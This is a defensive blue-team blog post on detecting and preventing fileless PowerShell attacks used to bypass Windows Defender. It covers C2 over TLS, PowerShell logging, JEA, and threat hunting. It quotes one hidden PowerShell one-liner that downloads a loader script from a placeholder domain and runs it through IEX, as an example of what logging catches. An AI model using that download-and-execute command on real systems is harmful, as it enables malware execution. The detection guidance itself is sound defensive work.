Dealing With Advanced Windows Defender Bypass Attempts

Photo by Caspar Camille Rubin on Unsplash

Table of Contents

• Introduction
• Detecting the Command and Control Traffic (C2)
• Endpoint Detection and Prevention
• Securing Powershell
• Threat Hunting
• Bonus
• Conclusion

Introduction

Some of you might have read the tutorials from my dear colleague Crypt0jan on how to bypass Windows Defender. That’s all fine and dandy but we’re a Purple Team and my job as a Blue Teamer and hunter is making sure guys like him don’t succeed in their endeavours. In this blog I will analyse what he did in Red Team Tutorial #3 and #4 and how you can prevent and detect these attacks. For most detections and preventions to work I do assume that your organisation is somewhat mature and has logging and monitoring in place. One thing to keep in mind is that it’s just about impossible to do all of these recommendations across your entire network.

Detecting the Command and Control traffic (C2)

In Crypt0jan’s tutorials, he first sets up the Empire/Meterpreter C2 to use TLS, launches the stager, creates a payload and deploys a Powershell oneliner to download and execute that payload. Let’s start at the beginning and see what we can do to make things more difficult for him.

The C2 uses TLS, which sucks for us. Sophos has written a great blog on why exactly this sucks and how many C2s they’ve seen that currently use TLS. Of course you can use TLS interception or Machine Learning to try to detect malicious traffic, but this is pretty advanced and difficult to do right. Now, you could also check DNS for new domains and check for domain age and DGA domains. This will maybe work for your run of the mill malware, however it obviously poses an OPSEC risk if you have no secure way of checking the domain. A more advanced adversary will take its time and use hacked, bought or well-known (talking to you AWS) infrastructure to blend in with the rest.

Conclusion is that detecting this is very difficult if done right and you probably have to rely on Threat Intel or luck to detect a C2 using TLS. This moves our goalpost further up the killchain by preventing the payload from executing on the endpoint.

Endpoint Prevention and Detection

Now, before there even is a succesful C2 connection and shell access, the stager and payload normally first need to be downloaded and executed on the target. However, this article has “advanced” in the title for a reason. The technique used in the Red Team Tutorials is a bit different: the attacker uses fileless malware with Powershell in memory by using IEX (Invoke-Expression)to bypass blocking certain extensions and AMSI. This does assume that the attacker already has access to Powershell or tricks someone into running the code. Now, there are some basic countermeasures that can already prevent an attacker from getting this far and at least make the attack more difficult:

• Restrict Powershell (and other scripting tools like CMD, WMIC and VBScript) access to admins only and only if they really need it. I will go into further detail later on.
• Restrict direct internet access on your network. Use a VM farm as a jump server for your users in a DMZ. The only thing they can do from there is start a browser and download approved applications through a secure file gateway. Annoying for the user, yes, but it makes connections to a C2 a hell of a lot more difficult and you have a bigger chance to detect a C2.
• Deploy Endpoint Detection and Response (EDR) other than, or in addition to Defender. Microsoft ATP or ASR is also an option. The big AV vendors have gotten really good at EDR and most of them have nice ways to see process execution on a system and check if it is malicious.
• Use Threat Intel with IOCs and hope the malware has already been caught somewhere else if it’s not directly tailored for you..
• Implement the CIS controls based on your risk assessments. Many organisations still don’t have these basics in place.

More info on threat actors using Powershell and about mitigation can be found on the MITRE ATT&CK website.

The sad truth is, that in practice most of these things are not in place and it’s plausible an attacker finds a foothold in your network, “assume breach” is a thing for a reason.

Securing Powershell

So what can we do in terms of securing Powershell? First of all, enable enhanced logging. This will output far more logs than the standard windows event logs, including code blocks (make sure you use protected event logging as stated in the enhanced logging link).

Logging options for Powershell

I highly recommend you read this post from FireEye about the subject. More logging and monitoring will enable your SOC to write detection rules so when you see things like below in combination with suspicious domain names you know you could be in trouble.

powershell.exe -nop -w hidden (New-Object System.Net.WebClient).downloadString('http://YOURDOMAINHERE/loader.ps1') | IEX

Executing this with logging enabled looks like this:

Powershell Code Block

Another thing you should always do is restrict the Powershell Execution-Policy and set it at least to restricted, although signed is also an option. Now this won’t protect against simply running code in Powershell and therefore this attack, but at least it will protect you from someone running scripts. An attacker that has gained elevated privileges can change this setting, but this event should be sent to the Windows Event Log, so you should able to detect it (and already have a Use Case ready).

Lastly, you could use Just Enough Administration (JEA). From the Microsoft website:

Just Enough Administration (JEA) is a security technology that enables delegated administration for anything managed by PowerShell. With JEA, you can:

Reduce the number of administrators on your machines using virtual accounts or group-managed service accounts to perform privileged actions on behalf of regular users.

Limit what users can do by specifying which cmdlets, functions, and external commands they can run.

Better understand what your users are doing with transcripts and logs that show you exactly which commands a user executed during their session.

Photo by David Pupaza on Unsplash

Threat Hunting

What if this all fails? Well this comes down to hunting for fileless malware. Hunting usually starts with a trigger. A trigger could (should) be the execution of Powershell. For example by a user that normally doesn’t use Powershell, by Powershell usage outside of office hours or by checking the code blocks you enabled earlier for anomalies. Knowing what is normal for your network is key here. Do note that almost al these things require time, effort, skills, the right tools and a certain maturity of your Blue Team.

As I said, one thing to keep in mind is that it’s just about impossible to do all of these recommendations across your entire network. Therefore you should know your Crown Jewels, the things you absolutely have to protect, and start building the highest walls around those. At the same time you accept that less important parts of your network might fall pray to the baddies. Which is fine as long as you can protect your Crown Jewels and detect them in your network at some point.

One of the best ways to detect fileless malware is to make a memory dump of the suspicious system(s) and analyse it. Do note however that doing this requires tools on the system and if there is a threat actor present this might alert him/her which could lead to a whole lot of trouble. You should decide a right course of action on a case by case basis, based on the risk you’re willing to take and the certainty of what you know.

First, try to find other Indicators of Compromise not directly from the system, such as DNS logs to check for weird domains, netflow and remote Windows Event Logging. Maybe then you can try and collect data from the system. For example by using sysinternals to check for processes and open ports. Try to do all of this during normal business hours and in normal admin patterns because not doing so might alert the attacker.

If the system is a VM you’re in luck though, because you can either make a snapshot/clone for analysis or analyse the Virtual Memory File (*.vmem if VMWare for example) with a tool like Volatility. I will not go into detail how to do this, because this blog would get way too lengthy and there are already enough great guides for Volatility out there. If you’ve analysed the logs I specified earlier you might have collected some IoCs that you can now search for in memory. Think of domains, IPs or suspicious processes.

Bonus

Note that creating a Scheduled Task with these commands will also show up in the Event Logs if you have Powershell logging enabled. You should also log the creation of Scheduled Tasks, this is usually not enabled by default! The logs can be found here:

Applications and Services Logs-Microsoft-Windows-TaskScheduler/Operational

Task Scheduler Event Logging

EventID 129 is used for creating a task and 141 for deleting a task.

Conclusion

There are several ways to prevent and detect the misuse of Powershell as described in the Red Team Tutorials. Prevention is always better than detection! However, it is certainly not easy and the best way to implement some or all of them is to start small and start at your Crown Jewels. If I had to choose only two countermeasures I would restrict Powershell usage only to admins who really need it and enable logging of the Powershell script blocks to detect malicious behaviour.